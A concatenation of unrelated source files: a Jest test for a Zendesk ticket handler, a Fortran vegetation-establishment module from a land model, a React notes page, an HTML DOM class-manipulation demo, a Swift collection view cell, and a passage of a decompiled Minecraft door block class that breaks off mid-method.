await expect(
callHandlerWithBody(JSON.stringify(eventBodyParams))
).rejects.toThrow(`${emptyStringPropertyError} missing from event body`)
}
)
it('given valid event body, it logs an error when updateZendeskTicketById fails', async () => {
givenUnsuccessfulUpdateZendeskTicket()
await callHandlerWithBody(validEventBody)
expect(mockUpdateZendeskTicketById).toHaveBeenCalledTimes(1)
expect(mockUpdateZendeskTicketById).toHaveBeenCalledWith(
ZENDESK_TICKET_ID,
TEST_COMMENT_COPY,
'closed'
)
expect(logger.error).toHaveBeenCalledWith(
'Could not update Zendesk ticket: ',
Error('An updateZendeskTicket related error')
)
})
})
|
module CNDVEstablishmentMod
!-----------------------------------------------------------------------
! !DESCRIPTION:
! Calculates establishment of new pfts
! Called once per year
!
! !USES:
use shr_kind_mod, only: r8 => shr_kind_r8
use abortutils , only: endrun
use decompMod , only : bounds_type
use shr_log_mod , only : errMsg => shr_log_errMsg
!
! !PUBLIC TYPES:
implicit none
save
!
! !PUBLIC MEMBER FUNCTIONS:
public :: Establishment
!-----------------------------------------------------------------------
contains
!-----------------------------------------------------------------------
subroutine Establishment(bounds)
!
! !DESCRIPTION:
! Calculates establishment of new pfts
! Called once per year
!
! !USES:
use clmtype
use clm_varpar , only : numpft
use clm_varcon , only : istsoil
use clm_varctl , only : iulog
use pftvarcon , only : noveg, nc3_arctic_grass
use shr_const_mod, only : SHR_CONST_CDAY, SHR_CONST_PI, SHR_CONST_TKFRZ
!
! !ARGUMENTS:
implicit none
type(bounds_type), intent(in) :: bounds ! bounds
!
! !LOCAL VARIABLES:
integer :: g,l,p,m ! indices
integer :: fn, filterg(bounds%begg-bounds%endg+1) ! local gridcell filter for error check
! gridcell level variables
integer :: ngrass(bounds%begg:bounds%endg) ! counter
integer :: npft_estab(bounds%begg:bounds%endg) ! counter
real(r8) :: fpc_tree_total(bounds%begg:bounds%endg) ! total fractional cover of trees in vegetated portion of gridcell
real(r8) :: fpc_total(bounds%begg:bounds%endg) ! old-total fractional vegetated portion of gridcell (without bare ground)
real(r8) :: fpc_total_new(bounds%begg:bounds%endg) ! new-total fractional vegetated portion of gridcell (without bare ground)
! pft level variables
logical :: survive(bounds%begp:bounds%endp) ! true=>pft survives
logical :: estab(bounds%begp:bounds%endp) ! true=>pft is established
real(r8) :: dstemc(bounds%begp:bounds%endp) ! local copy of deadstemc
! local and temporary variables or parameters
real(r8) :: taper ! ratio of height:radius_breast_height (tree allometry)
real(r8) :: estab_rate ! establishment rate
real(r8) :: estab_grid ! establishment rate on grid cell
real(r8) :: fpcgridtemp ! temporary
real(r8) :: stemdiam ! stem diameter
real(r8) :: stocking ! #stems / ha (stocking density)
real(r8) :: lai_ind ! LAI per individual
real(r8) :: lm_ind ! leaf carbon (gC/ind)
real(r8) :: fpc_ind ! individual foliage projective cover
real(r8):: bm_delta
! parameters
real(r8), parameter :: ramp_agddtw = 300.0
! minimum individual density for persistence of PFT (indiv/m2)
real(r8), parameter :: nind_min = 1.0e-10_r8
! minimum precip. for establishment (mm/s)
real(r8), parameter :: prec_min_estab = 100._r8/(365._r8*SHR_CONST_CDAY)
! maximum sapling establishment rate (indiv/m2)
real(r8), parameter :: estab_max = 0.24_r8
!-----------------------------------------------------------------------
associate(&
agdd20 => pdgvs%agdd20 , & ! Input: [real(r8) (:)] 20-yr running mean of agdd
tmomin20 => pdgvs%tmomin20 , & ! Input: [real(r8) (:)] 20-yr running mean of tmomin
present => pdgvs%present , & ! InOut: [logical (:)] true=> PFT present in patch
nind => pdgvs%nind , & ! InOut: [real(r8) (:)] number of individuals (#/m**2)
fpcgrid => pdgvs%fpcgrid , & ! Output: [real(r8) (:)] foliar projective cover on gridcell (fraction)
crownarea => pdgvs%crownarea , & ! Output: [real(r8) (:)] area that each individual tree takes up (m^2)
greffic => pdgvs%greffic , & ! Output: [real(r8) (:)] lpj's growth efficiency
heatstress => pdgvs%heatstress , & ! Output: [real(r8) (:)]
annsum_npp => pepv%annsum_npp , & ! Input: [real(r8) (:)] annual sum NPP (gC/m2/yr)
annsum_litfall => pepv%annsum_litfall , & ! Input: [real(r8) (:)] annual sum litfall (gC/m2/yr)
prec365 => pdgvs%prec365 , & ! Input: [real(r8) (:)] 365-day running mean of tot. precipitation
agddtw => pdgvs%agddtw , & ! Input: [real(r8) (:)] accumulated growing degree days above twmax
pftmayexist => pdgvs%pftmayexist , & ! Input: [logical (:)] exclude seasonal decid pfts from tropics [1=true, 0=false]
crownarea_max => dgv_pftcon%crownarea_max , & ! Input: [real(r8) (:)] ecophys const - tree maximum crown area [m2]
twmax => dgv_pftcon%twmax , & ! Input: [real(r8) (:)] ecophys const - upper limit of temperature of the warmest month
reinickerp => dgv_pftcon%reinickerp , & ! Input: [real(r8) (:)] ecophys const - parameter in allometric equation
allom1 => dgv_pftcon%allom1 , & ! Input: [real(r8) (:)] ecophys const - parameter in allometric
tcmax => dgv_pftcon%tcmax , & ! Input: [real(r8) (:)] ecophys const - maximum coldest monthly mean temperature
tcmin => dgv_pftcon%tcmin , & ! Input: [real(r8) (:)] ecophys const - minimum coldest monthly mean temperature
gddmin => dgv_pftcon%gddmin , & ! Input: [real(r8) (:)] ecophys const - minimum growing degree days (at or above 5 C)
leafcmax => pcs%leafcmax , & ! Input: [real(r8) (:)] (gC/m2) ann max leaf C
deadstemc => pcs%deadstemc , & ! Input: [real(r8) (:)] (gC/m2) dead stem C
slatop => pftcon%slatop , & ! Input: [real(r8) (:)] specific leaf area at top of canopy, projected area basis [m^2/gC]
dsladlai => pftcon%dsladlai , & ! Input: [real(r8) (:)] dSLA/dLAI, projected area basis [m^2/gC]
dwood => pftcon%dwood , & ! Input: [real(r8) (:)] ecophys const - wood density (gC/m3)
woody => pftcon%woody & ! Input: [real(r8) (:)] ecophys const - woody pft or not
)
! **********************************************************************
! Slevis version of LPJ's subr. bioclim
! Limits based on 20-year running averages of coldest-month mean
! temperature and growing degree days (5 degree base).
! For SURVIVAL, coldest month temperature and GDD should be
! at least as high as PFT-specific limits.
! For REGENERATION, PFT must be able to survive AND coldest month
! temperature should be no higher than a PFT-specific limit.
! **********************************************************************
taper = 200._r8 ! make a global constant as with dwood (lpj's wooddens)
! Initialize gridcell-level metrics
do g = bounds%begg,bounds%endg
ngrass(g) = 0
npft_estab(g) = 0
fpc_tree_total(g) = 0._r8
fpc_total(g) = 0._r8
fpc_total_new(g) = 0._r8
end do
do p = bounds%begp,bounds%endp
! Set the presence of pft for this gridcell
if (nind(p) == 0._r8) present(p) = .false.
if (.not. present(p)) then
nind(p) = 0._r8
fpcgrid(p) = 0._r8
end if
survive(p) = .false.
estab(p) = .false.
dstemc(p) = deadstemc(p)
end do
! Must go thru all 16 pfts and decide which can/cannot establish or survive
! Determine present, survive, estab. Note: Even if tmomin20>tcmax, crops
! and 2nd boreal summergreen tree cannot exist (see
! EcosystemDynini) because this model cannot simulate such pfts, yet.
! Note - agddtw is only defined at the pft level and has now been moved
! to an if-statement below to determine establishment of boreal trees
do p = bounds%begp,bounds%endp
if (tmomin20(p) >= tcmin(pft%itype(p)) + SHR_CONST_TKFRZ ) then
if (tmomin20(p) <= tcmax(pft%itype(p)) + SHR_CONST_TKFRZ .and. agdd20(p) >= gddmin(pft%itype(p))) then
estab(p) = .true.
end if
survive(p) = .true.
! seasonal decid. pfts that would have occurred in regions without
! short winter day lengths (see CNPhenology)
if (.not. pftmayexist(p)) then
survive(p) = .false.
estab(p) = .false.
pftmayexist(p) = .true.
end if
end if
end do
do p = bounds%begp,bounds%endp
l = pft%landunit(p)
! Case 1 -- pft ceases to exist -kill pfts not adapted to current climate
if (present(p) .and. (.not. survive(p) .or. nind(p)<nind_min)) then
present(p) = .false.
fpcgrid(p) = 0._r8
nind(p) = 0._r8
end if
! Case 2 -- pft begins to exist - introduce newly "adapted" pfts
if (lun%itype(l) == istsoil) then
if (.not. present(p) .and. prec365(p) >= prec_min_estab .and. estab(p)) then
if (twmax(pft%itype(p)) > 999._r8 .or. agddtw(p) == 0._r8) then
present(p) = .true.
nind(p) = 0._r8
! lpj starts with fpcgrid=0 and calculates
! seed fpcgrid from the carbon of saplings;
! with CN we need the seed fpcgrid up front
! to scale seed leafc to lm_ind to get fpcgrid;
! sounds circular; also seed fpcgrid depends on sla,
! so theoretically need diff value for each pft;slevis
fpcgrid(p) = 0.000844_r8
if (woody(pft%itype(p)) < 1._r8) then
fpcgrid(p) = 0.05_r8
end if
! Seed carbon for newly established pfts
! Equiv. to pleaf=1 & pstor=1 set in subr pftwt_cnbal (slevis)
! ***Dangerous*** to hardwire leafcmax here; find alternative!
! Consider just assigning nind and fpcgrid for newly
! established pfts instead of entering the circular procedure
! outlined in the paragraph above
leafcmax(p) = 1._r8
if (dstemc(p) <= 0._r8) dstemc(p) = 0.1_r8
end if ! conditions required for establishment
end if ! conditions required for establishment
end if ! if soil
! Case 3 -- some pfts continue to exist (no change) and some pfts
! continue to not exist (no change). Do nothing for this case.
end do
! Sapling and grass establishment
! Calculate total woody FPC, FPC increment and grass cover (= crown area)
! Calculate total woody FPC and number of woody PFTs present and able to establish
do p = bounds%begp,bounds%endp
g = pft%gridcell(p)
if (present(p)) then
if (woody(pft%itype(p)) == 1._r8) then
fpc_tree_total(g) = fpc_tree_total(g) + fpcgrid(p)
if (estab(p)) npft_estab(g) = npft_estab(g) + 1
else if (woody(pft%itype(p)) < 1._r8 .and. pft%itype(p) > noveg) then !grass
ngrass(g) = ngrass(g) + 1
end if
end if
end do
! Above grid-level establishment counters are required for the next steps.
do p = bounds%begp,bounds%endp
g = pft%gridcell(p)
if (present(p) .and. woody(pft%itype(p)) == 1._r8 .and. estab(p)) then
! Calculate establishment rate over available space, per tree PFT
! Max establishment rate reduced by shading as tree FPC approaches 1
! Total establishment rate partitioned equally among regenerating woody PFTs
estab_rate = estab_max * (1._r8-exp(5._r8*(fpc_tree_total(g)-1._r8))) / real(npft_estab(g))
! Calculate grid-level establishment rate per woody PFT
! Space available for woody PFT establishment is fraction of grid cell
! not currently occupied by woody PFTs
estab_grid = estab_rate * (1._r8-fpc_tree_total(g))
! Add new saplings to current population
nind(p) = nind(p) + estab_grid
!slevis: lpj's lm_ind was the max leaf mass for the year;
!now lm_ind is the max leaf mass for the year calculated in CNFire
!except when a pft is newly established (nind==0); then lm_ind
!is assigned a leafcmax above
lm_ind = leafcmax(p) * fpcgrid(p) / nind(p) ! nind>0 for sure
if (fpcgrid(p) > 0._r8 .and. nind(p) > 0._r8) then
stocking = nind(p)/fpcgrid(p) !#ind/m2 nat veg area -> #ind/m2 pft area
! stemdiam derived here from cn's formula for htop found in
! CNVegStructUpdate and cn's assumption stemdiam=2*htop/taper
! this derivation neglects upper htop limit enforced elsewhere
stemdiam = (24._r8 * dstemc(p) / (SHR_CONST_PI * stocking * dwood(pft%itype(p)) * taper))**(1._r8/3._r8)
else
stemdiam = 0._r8
end if
! Eqn D (now also in Light; need here for 1st yr when pfts haven't established, yet)
crownarea(p) = min(crownarea_max(pft%itype(p)), allom1(pft%itype(p))*stemdiam**reinickerp(pft%itype(p)))
! Update LAI and FPC
if (crownarea(p) > 0._r8) then
if (dsladlai(pft%itype(p)) > 0._r8) then
! make lai_ind >= 0.001 to avoid killing plants at this stage
lai_ind = max(0.001_r8,((exp(lm_ind*dsladlai(pft%itype(p)) + log(slatop(pft%itype(p)))) - &
slatop(pft%itype(p)))/dsladlai(pft%itype(p))) / crownarea(p))
else ! currently redundant because dsladlai=0 for grasses only
lai_ind = lm_ind * slatop(pft%itype(p)) / crownarea(p) ! lpj's formula
end if
else
lai_ind = 0._r8
end if
fpc_ind = 1._r8 - exp(-0.5_r8*lai_ind)
fpcgrid(p) = crownarea(p) * nind(p) * fpc_ind
end if ! add new saplings block
if (present(p) .and. woody(pft%itype(p)) == 1._r8) then
fpc_total_new(g) = fpc_total_new(g) + fpcgrid(p)
end if
end do ! close loop to update fpc_total_new
! Adjustments- don't allow trees to exceed 95% of vegetated landunit
do p = bounds%begp,bounds%endp
g = pft%gridcell(p)
if (fpc_total_new(g) > 0.95_r8) then
if (woody(pft%itype(p)) == 1._r8 .and. present(p)) then
nind(p) = nind(p) * 0.95_r8 / fpc_total_new(g)
fpcgrid(p) = fpcgrid(p) * 0.95_r8 / fpc_total_new(g)
end if
fpc_total(g) = 0.95_r8
else
fpc_total(g) = fpc_total_new(g)
end if
end do
! Section for grasses. Grasses can establish in non-vegetated areas
do p = bounds%begp,bounds%endp
g = pft%gridcell(p)
if (present(p) .and. woody(pft%itype(p)) < 1._r8) then
if (leafcmax(p) <= 0._r8 .or. fpcgrid(p) <= 0._r8 ) then
present(p) = .false.
nind(p) = 0._r8
else
nind(p) = 1._r8 ! in case these grasses just established
crownarea(p) = 1._r8
lm_ind = leafcmax(p) * fpcgrid(p) / nind(p)
if (dsladlai(pft%itype(p)) > 0._r8) then
lai_ind = max(0.001_r8,((exp(lm_ind*dsladlai(pft%itype(p)) + log(slatop(pft%itype(p)))) - &
slatop(pft%itype(p)))/dsladlai(pft%itype(p))) / crownarea(p))
else ! 'if' is currently redundant b/c dsladlai=0 for grasses only
lai_ind = lm_ind * slatop(pft%itype(p)) / crownarea(p)
end if
fpc_ind = 1._r8 - exp(-0.5_r8*lai_ind)
fpcgrid(p) = crownarea(p) * nind(p) * fpc_ind
fpc_total(g) = fpc_total(g) + fpcgrid(p)
end if
end if
end do ! end of pft-loop
! Adjustment of fpc_total > 1 due to grasses (pft%itype >= nc3_arctic_grass)
do p = bounds%begp,bounds%endp
g = pft%gridcell(p)
if (fpc_total(g) > 1._r8) then
if (pft%itype(p) >= nc3_arctic_grass .and. fpcgrid(p) > 0._r8) then
fpcgridtemp = fpcgrid(p)
fpcgrid(p) = max(0._r8, fpcgrid(p) - (fpc_total(g)-1._r8))
fpc_total(g) = fpc_total(g) - fpcgridtemp + fpcgrid(p)
end if
end if
! Remove tiny fpcgrid amounts
if (fpcgrid(p) < 1.e-15_r8) then
fpc_total(g) = fpc_total(g) - fpcgrid(p)
fpcgrid(p) = 0._r8
present(p) = .false.
nind(p) = 0._r8
end if
! Set the fpcgrid for bare ground if there is bare ground in
! vegetated landunit and pft is bare ground so that everything
! can add up to one.
if (fpc_total(g) < 1._r8 .and. pft%itype(p) == noveg) then
fpcgrid(p) = 1._r8 - fpc_total(g)
fpc_total(g) = fpc_total(g) + fpcgrid(p)
end if
end do
! Annual calculations used hourly in GapMortality
! Ultimately may wish to place in separate subroutine...
do p = bounds%begp,bounds%endp
g = pft%gridcell(p)
! Stress mortality from lpj's subr Mortality
if (woody(pft%itype(p)) == 1._r8 .and. nind(p) > 0._r8 .and. &
leafcmax(p) > 0._r8 .and. fpcgrid(p) > 0._r8) then
if (twmax(pft%itype(p)) < 999._r8) then
heatstress(p) = max(0._r8, min(1._r8, agddtw(p) / ramp_agddtw))
else
heatstress(p) = 0._r8
end if
! Net individual living biomass increment
! NB: lpj's turnover not exactly same as cn's litfall:
! lpj's sap->heartwood turnover not included in litfall (slevis)
bm_delta = max(0._r8, annsum_npp(p) - annsum_litfall(p))
lm_ind = leafcmax(p) * fpcgrid(p) / nind(p)
! Growth efficiency (net biomass increment per unit leaf area)
if (dsladlai(pft%itype(p)) > 0._r8) then
greffic(p) = bm_delta / (max(0.001_r8, &
( ( exp(lm_ind*dsladlai(pft%itype(p)) + log(slatop(pft%itype(p)))) &
- slatop(pft%itype(p)) ) / dsladlai(pft%itype(p)) )))
else ! currently redundant because dsladlai=0 for grasses only
greffic(p) = bm_delta / (lm_ind * slatop(pft%itype(p)))
end if
else
greffic(p) = 0.
heatstress(p) = 0.
end if
end do
! Check for error in establishment
fn = 0
do g = bounds%begg,bounds%endg
if (abs(fpc_total(g) - 1._r8) > 1.e-6) then
fn = fn + 1
filterg(fn) = g
end if
end do
! Just print out the first error
if (fn > 0) then
g = filterg(1)
write(iulog,*) 'Error in Establishment: fpc_total =',fpc_total(g), ' at gridcell ',g
call endrun(msg=errMsg(__FILE__, __LINE__))
end if
end associate
end subroutine Establishment
end module CNDVEstablishmentMod
|
import React from 'react';
import { useSearchParams } from 'react-router-dom';
import { getActiveNotes } from '../utils/network-data';
import NoteActive from '../components/NoteActive';
import NoteSearch from '../components/NoteSearch';
import PropTypes from 'prop-types';
import ContextChange from '../components/ContextChange';
function HomePageWrapper() {
const [searchParams, setSearchParams] = useSearchParams();
const search = searchParams.get('search');
function changeSearchParams(search) {
setSearchParams({ search });
}
return <HomePage defaultKeyword={search} onSearch={changeSearchParams} />
}
class HomePage extends React.Component {
constructor(props) {
super(props);
this.state = {
notes: [],
search: props.defaultKeyword || "",
}
this.onSearchHandler = this.onSearchHandler.bind(this);
}
async componentDidMount(){
const { data } = await getActiveNotes();
if (this.state.search !== "") {
this.setState({
notes: data.filter((note) =>
(note.archived === false) && (note.title.toLocaleLowerCase().includes(this.state.search.toLocaleLowerCase()))
),
});
} else {
this.setState(() => {
return {
notes: data,
};
});
}
}
async componentDidUpdate(prevProps, prevState) {
const { data } = await getActiveNotes();
if (prevState.search !== this.state.search) {
if (this.state.search !== "") {
this.setState({
notes: data.filter((note) =>
(note.archived === false) && (note.title.toLocaleLowerCase().includes(this.state.search.toLocaleLowerCase()))
),
});
} else {
this.setState(() => {
return {
notes: data,
};
});
}
}
}
onSearchHandler(search) {
this.setState(() => {
return {
search,
};
});
this.props.onSearch(search);
}
render() {
return (
<> <ContextChange/>
<NoteSearch search={this.state.search} onSearch={this.onSearchHandler}/>
<NoteActive
notes={this.state.notes}
key={this.state.notes.id}
onSearch={this.onSearchHandler}
{...this.state.notes}
/>
</>
);
}
}
HomePage.propTypes = {
defaultKeyword: PropTypes.string,
onSearch: PropTypes.func,
};
export default HomePageWrapper;
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="keywords" content="HTML, CSS, JavaScript" />
<meta name="author" content="John Doe" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>JavaScript</title>
</head>
<body>
<h4>Heading</h4>
<a href="">Link text</a>
<div id="div1" class="md-box center-text">
content
</div>
<span class="a b c"></span>
</body>
</html>
<script>
// className - wszytskie elementy klasy jako jeden string
document.getElementById("div1").className;
//"md-box center-text"
// classList - lista klas
document.getElementById("div1").classList;
// DOMTokenList(2) ['md-box', 'center-text', value: 'md-box center-text']
// Lista klas w petli
document.getElementById("div1").classList.forEach(el => console.log(el));
//md-box
//center-text
//Dodawanie klasy
document.getElementById("div1").classList.add("rect");
document.getElementById("div1").classList.forEach(el => console.log(el));
//md-box
//center - text
//rect
//usuwanie klasy
document.getElementById("div1").classList.remove("md-box");
document.getElementById("div1").classList.forEach(el => console.log(el));
//center - text
//rect
//Edycja styli - jeden element
document.getElementById("div1").style.backgroundColor = "pink";
//edycja styli - druga opcja, mozna zmieniac wiele styli
document.getElementsByTagName("h4")[0].setAttribute("style", "color: white; background: black");
</script>
</body>
</html>
|
//
// DetailsInfoCollectioViewCell.swift
// TestOnlineShop
//
// Created by Konstantin Grachev on 18.03.2023.
//
import UIKit
final class DetailsInfoCollectionViewCell: UICollectionViewCell {
static let cellID = "DetailsInfoCollectioViewCell"
private let nameLabel = CustomLabel(.detailsNameIntoCell)
private let priceLabel = CustomLabel(.detailsPriceIntoCell)
private let descriptionLabel = CustomLabel(.detailsDescriptionIntoCell)
private let rateReviewsContainerView = RateReviewContainerView()
private lazy var topHStackView: UIStackView = {
let stackView = UIStackView(arrangedSubviews: [
nameLabel,
priceLabel
])
stackView.distribution = .fillEqually
return stackView
}()
private lazy var midHStackView: UIStackView = {
let stackView = UIStackView(arrangedSubviews: [
descriptionLabel,
UIView()
])
stackView.distribution = .fillEqually
return stackView
}()
private lazy var downHStackView: UIStackView = {
let stackView = UIStackView(arrangedSubviews: [
rateReviewsContainerView,
UIView()
])
stackView.distribution = .fillEqually
return stackView
}()
private lazy var vStackView: UIStackView = {
let stackView = UIStackView(arrangedSubviews: [
topHStackView,
midHStackView,
downHStackView
])
stackView.axis = .vertical
stackView.distribution = .fillEqually
return stackView
}()
override init(frame: CGRect) {
super.init(frame: frame)
setupUI()
}
@available(*, unavailable)
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
func configure(detailsInfo: DetailsInfo?) {
guard let detailsInfo = detailsInfo else { return }
rateReviewsContainerView.configure(rate: detailsInfo.rating,
reviews: detailsInfo.numberOfReviews)
nameLabel.text = detailsInfo.name
priceLabel.text = "$ \(detailsInfo.price.formattedWithSeparator)"
descriptionLabel.text = detailsInfo.description
}
private func setupUI() {
let subviews = [
vStackView
]
subviews.forEach {
$0.translatesAutoresizingMaskIntoConstraints = false
addSubview($0)
}
NSLayoutConstraint.activate([
vStackView.topAnchor.constraint(equalTo: topAnchor),
vStackView.leadingAnchor.constraint(equalTo: leadingAnchor),
vStackView.trailingAnchor.constraint(equalTo: trailingAnchor),
vStackView.bottomAnchor.constraint(equalTo: bottomAnchor)
])
}
}
|
package net.minecraft.block;
import net.minecraft.block.enums.DoorHinge;
import net.minecraft.block.enums.DoubleBlockHalf;
import net.minecraft.entity.Entity;
import net.minecraft.entity.LivingEntity;
import net.minecraft.entity.ai.pathing.NavigationType;
import net.minecraft.entity.player.PlayerEntity;
import net.minecraft.item.ItemPlacementContext;
import net.minecraft.item.ItemStack;
import net.minecraft.sound.SoundCategory;
import net.minecraft.state.StateManager;
import net.minecraft.state.property.BooleanProperty;
import net.minecraft.state.property.DirectionProperty;
import net.minecraft.state.property.EnumProperty;
import net.minecraft.state.property.Properties;
import net.minecraft.util.ActionResult;
import net.minecraft.util.BlockMirror;
import net.minecraft.util.BlockRotation;
import net.minecraft.util.Hand;
import net.minecraft.util.hit.BlockHitResult;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Direction;
import net.minecraft.util.math.MathHelper;
import net.minecraft.util.math.Vec3d;
import net.minecraft.util.shape.VoxelShape;
import net.minecraft.world.BlockView;
import net.minecraft.world.World;
import net.minecraft.world.WorldAccess;
import net.minecraft.world.WorldView;
import net.minecraft.world.event.GameEvent;
import org.jetbrains.annotations.Nullable;
public class DoorBlock extends Block {
public static final DirectionProperty FACING;
public static final BooleanProperty OPEN;
public static final EnumProperty HINGE;
public static final BooleanProperty POWERED;
public static final EnumProperty HALF;
protected static final float field_31083 = 3.0F;
protected static final VoxelShape NORTH_SHAPE;
protected static final VoxelShape SOUTH_SHAPE;
protected static final VoxelShape EAST_SHAPE;
protected static final VoxelShape WEST_SHAPE;
private final BlockSetType blockSetType;
protected DoorBlock(AbstractBlock.Settings settings, BlockSetType blockSetType) {
super(settings.sounds(blockSetType.soundType()));
this.blockSetType = blockSetType;
this.setDefaultState((BlockState)((BlockState)((BlockState)((BlockState)((BlockState)((BlockState)this.stateManager.getDefaultState()).with(FACING, Direction.NORTH)).with(OPEN, false)).with(HINGE, DoorHinge.LEFT)).with(POWERED, false)).with(HALF, DoubleBlockHalf.LOWER));
}
public BlockSetType getBlockSetType() {
return this.blockSetType;
}
public VoxelShape getOutlineShape(BlockState state, BlockView world, BlockPos pos, ShapeContext context) {
Direction lv = (Direction)state.get(FACING);
boolean bl = !(Boolean)state.get(OPEN);
boolean bl2 = state.get(HINGE) == DoorHinge.RIGHT;
switch (lv) {
case EAST:
default:
return bl ? WEST_SHAPE : (bl2 ? SOUTH_SHAPE : NORTH_SHAPE);
case SOUTH:
return bl ? NORTH_SHAPE : (bl2 ? WEST_SHAPE : EAST_SHAPE);
case WEST:
return bl ? EAST_SHAPE : (bl2 ? NORTH_SHAPE : SOUTH_SHAPE);
case NORTH:
return bl ? SOUTH_SHAPE : (bl2 ? EAST_SHAPE : WEST_SHAPE);
}
}
public BlockState getStateForNeighborUpdate(BlockState state, Direction direction, BlockState neighborState, WorldAccess world, BlockPos pos, BlockPos neighborPos) {
DoubleBlockHalf lv = (DoubleBlockHalf)state.get(HALF);
if (direction.getAxis() == Direction.Axis.Y && lv == DoubleBlockHalf.LOWER == (direction == Direction.UP)) {
return neighborState.isOf(this) && neighborState.get(HALF) != lv ? (BlockState)((BlockState)((BlockState)((BlockState)state.with(FACING, (Direction)neighborState.get(FACING))).with(OPEN, (Boolean)neighborState.get(OPEN))).with(HINGE, (DoorHinge)neighborState.get(HINGE))).with(POWERED, (Boolean)neighborState.get(POWERED)) : Blocks.AIR.getDefaultState();
} else {
return lv == DoubleBlockHalf.LOWER && direction == Direction.DOWN && !state.canPlaceAt(world, pos) ? Blocks.AIR.getDefaultState() : super.getStateForNeighborUpdate(state, direction, neighborState, world, pos, neighborPos);
}
}
public void onBreak(World world, BlockPos pos, BlockState state, PlayerEntity player) {
if (!world.isClient && player.isCreative()) {
TallPlantBlock.onBreakInCreative(world, pos, state, player);
}
super.onBreak(world, pos, state, player);
}
public boolean canPathfindThrough(BlockState state, BlockView world, BlockPos pos, NavigationType type) {
switch (type) {
case LAND:
return (Boolean)state.get(OPEN);
case WATER:
return false;
case AIR:
return (Boolean)state.get(OPEN);
default:
return false;
}
}
@Nullable
public BlockState getPlacementState(ItemPlacementContext ctx) {
BlockPos lv = ctx.getBlockPos();
World lv2 = ctx.getWorld();
if (lv.getY() < lv2.getTopY() - 1 && lv2.getBlockState(lv.up()).canReplace(ctx)) {
boolean bl = lv2.isReceivingRedstonePower(lv) || lv2.isReceivingRedstonePower(lv.up());
return (BlockState)((BlockState)((BlockState)((BlockState)((BlockState)this.getDefaultState().with(FACING, ctx.getHorizontalPlayerFacing())).with(HINGE, this.getHinge(ctx))).with(POWERED, bl)).with(OPEN, bl)).with(HALF, DoubleBlockHalf.LOWER);
} else {
return null;
}
}
public void onPlaced(World world, BlockPos pos, BlockState state, LivingEntity placer, ItemStack itemStack) {
world.setBlockState(pos.up(), (BlockState)state.with(HALF, DoubleBlockHalf.UPPER), Block.NOTIFY_ALL);
}
private DoorHinge getHinge(ItemPlacementContext ctx) {
BlockView lv = ctx.getWorld();
BlockPos lv2 = ctx.getBlockPos();
Direction lv3 = ctx.getHorizontalPlayerFacing();
BlockPos lv4 = lv2.up();
Direction lv5 = lv3.rotateYCounterclockwise();
BlockPos lv6 = lv2.offset(lv5);
BlockState lv7 = lv.getBlockState(lv6);
BlockPos lv8 = lv4.offset(lv5);
BlockState lv9 = lv.getBlockState(lv8);
Direction lv10 = lv3.rotateYClockwise();
BlockPos lv11 = lv2.offset(lv10);
BlockState lv12 = lv.getBlockState(lv11);
BlockPos lv13 = lv4.offset(lv10);
BlockState lv14 = lv.getBlockState(lv13);
int i = (lv7.isFullCube(lv, lv6) ? -1 : 0) + (lv9.isFullCube(lv, lv8) ? -1 : 0) + (lv12.isFullCube(lv, lv11) ? 1 : 0) + (lv14.isFullCube(lv, lv13) ? 1 : 0);
boolean bl = lv7.isOf(this) && lv7.get(HALF) == DoubleBlockHalf.LOWER;
boolean bl2 = lv12.isOf(this) && lv12.get(HALF) == DoubleBlockHalf.LOWER;
if ((!bl || bl2) && i <= 0) {
if ((!bl2 || bl) && i >= 0) {
int j = lv3.getOffsetX();
int k = lv3.getOffsetZ();
Vec3d lv15 = ctx.getHitPos();
double d = lv15.x - (double)lv2.getX();
double e = lv15.z - (double)lv2.getZ();
return (j >= 0 || !(e < 0.5)) && (j <= 0 || !(e > 0.5)) && (k >= 0 || !(d > 0.5)) && (k <= 0 || !(d < 0.5)) ? DoorHinge.LEFT : DoorHinge.RIGHT;
} else {
return DoorHinge.LEFT;
}
} else {
return DoorHinge.RIGHT;
}
}
public ActionResult onUse(BlockState state, World world, BlockPos pos, PlayerEntity player, Hand hand, BlockHitResult hit) {
if (!this.blockSetType.canOpenByHand()) {
return ActionResult.PASS;
} else {
state = (BlockState)state.cycle(OPEN);
world.setBlockState(pos, state, Block.NOTIFY_LISTENERS | Block.REDRAW_ON_MAIN_THREAD);
this.playOpenCloseSound(player, world, pos, (Boolean)state.get(OPEN));
world.emitGameEvent(player, this.isOpen(state) ? GameEvent.BLOCK_OPEN : GameEvent.BLOCK_CLOSE, pos);
return ActionResult.success(world.isClient);
}
}
public boolean isOpen(BlockState state) {
return (Boolean)state.get(OPEN);
}
public void setOpen(@Nullable Entity entity, World world, BlockState state, BlockPos pos, boolean open) {
if (state.isOf(this) && (Boolean)state.get(OPEN) != open) {
world.setBlockState(pos, (BlockState)state.with(OPEN, open), Block.NOTIFY_LISTENERS | Block.REDRAW_ON_MAIN_THREAD);
this.playOpenCloseSound(entity, world, pos, open);
world.emitGameEvent(entity, open ? GameEvent.BLOCK_OPEN : GameEvent.BLOCK_CLOSE, pos);
}
}
public void neighborUpdate(BlockState state, World world, BlockPos pos, Block sourceBlock, BlockPos sourcePos, boolean notify) {
boolean bl2 = world.isReceivingRedstonePower(pos) || world.isReceivingRedstonePower(pos.offset(state.get(HALF) == DoubleBlockHalf.LOWER ? Direction.UP : Direction.DOWN));
if (!this.getDefaultState().isOf(sourceBlock) && bl2 != (Boolean)state.get(POWERED)) {
if (bl2 != (Boolean)state.get(OPEN)) {
this.playOpenCloseSound((Entity)null, world, pos, bl2);
world.emitGameEvent((Entity)null, bl2 ? GameEvent.BLOCK_OPEN : GameEvent.BLOCK_CLOSE, pos);
}
world.setBlockState(pos, (BlockState)((BlockState)state.with(POWERED, bl2)).with(OPEN, bl2), Block.NOTIFY_LISTENERS);
}
}
public boolean canPlaceAt(BlockState state, WorldView world, BlockPos pos) {
BlockPos lv = pos.down();
BlockState lv2 = world.getBlockState(lv);
return state.get(HALF) == DoubleBlockHalf.LOWER ? lv2.isSideSolidFullSquare(world, lv, Direction.UP) : lv2.isOf(this);
}
private void playOpenCloseSound(@Nullable Entity entity, World world, BlockPos pos, boolean open) {
